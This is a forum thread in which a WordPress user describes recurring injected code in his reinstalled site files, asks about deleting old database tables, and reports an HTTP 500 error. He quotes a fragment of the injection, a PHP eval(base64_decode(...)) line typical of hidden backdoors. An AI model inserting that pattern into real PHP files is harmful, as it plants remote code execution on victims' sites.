mattw21

Thank you. I’ve been away for a week but I’m back to finis this.

I have installed a fresh copy of WP 2.8 & it is working fine. Before installing it I had deleted all of my old database tables in my ezgo-now_wp database. I.e. wp1, wp2, wp3, etc. (I had multiple blogs)I changed the database table prefix in my new wp config file to wp2. (this is a new wp2 prefix as I had already deleted the old wp2 tables) I wanted to delete the original wp_ tables as well but got cold feet at the last minute. Since these old tables are the only thing left that could still have malicious code in them I really want to delete them. (they are safely backed up just in case)
Am I safe to delete these? I’m almost positive I am but I didn’t because they have the same name as the database.

To summarize I have a new EZgo-Now blog up and running. The ezgo-now_wp database has 10 newly created tables with a wp2 prefix & 15 old tables with a wp_ prefix. Am I safe to delete those 15 old wp_ tables?

Thank you
Matt

I probably should start a new post but, well anyway I think I might have been hacked. Yesterday I backed up the remaining files in the EZmoney sub-directory, deleted everything, installed a fresh copy of 2.8.4, tested everything, logged off & called it a night. That was about 2am This AM before I even brought the NEW ezgo-now.com Blog up I checked the new files I had uploaded yesterday. The wp-config.php, index.php, and wp-content/index.php files where once again loaded with alphabet soap. The xmlrpc.php file appears to be ok but it’s a big file so I could have missed something. It’s not full of random letters anyway. Since this blog hasn’t been used yet (20 min of testing) I don’t have an htaccess file yet. (I’m using the ground-floor theme.)
I have spent the entire day learning everything I can about this problem. I think I know what happened but I’d like a 2nd opinion plus I want to make sure that I do whatever is necessary to minimize future problems. Since I had never even considered that a hacker had corrupted these files I uploaded my old plug-ins & themes folder as well as my image files inside the wp-includes folder. Sure enough the index.php file inside the themes folder is corrupted with letters as well as all the individual index.php files for each theme. The corrupted files themselves are all pretty much the same (see below, the bold txt. Is the random letters) & are nothing more than a bunch of benign letters. I have not found anything that resembles malicious code or script. However I’ve been doing this for 3 months so I’m really not sure I know what I’m looking for. But I do know I need some help. I can re-load the software easy enough but I need to find the source of the problem. I’m very thankful to be going through this early-on & not a year from now with a fully developed site & steady traffic.
<?php eval(base64_decode(‘aW snZSddKSk7’)); ?><?php /**
Thanking you in advance. Matt

Yes, I B/U last week. I was planning on upgrading but never got around to it. And yes either MySQL or phpMyAdmin. I can see everything in filezilla& everything seems to be where it has always been. It is probably simple once it comes to light. I honestly can not find anything out of sorts. I like a good challange but this is getting a little frustrating.

Thank you

THANK YOU BUT I’M AFRAID IT DID NOT WORK. I DELETED .HTACCESS FOR SOME REASON IT DOES NOT SHOW UP IN FILEZILLA BUT FINDING IT WITH MY FILE MANAGER WAS NOT A PROBLEM. WHEN I ENTER EZMONEY.EZGO-NOW.COM I GET A WEBSITE CANOT BE DISPLAYED http 500. Both of my sites where running perfectly. I got back into them this morning & I got zip. I have made no changes, plug-ins, widgets, etc. As I said I thouight the wp-o-matic might have fouled something up as I did have some problems with that at first. But thats been in my test blog for about a week now. I emailed Chilly Domain thinking that there might be a problem on there end although I have a regular web page running on ezgo-now.com & it works fine. I am going to upgrade to 2.8 but at this point I don’t think thats going to get it working. I mean I just can not see anything that looks like a problem. Things where working just to darn well. Thanks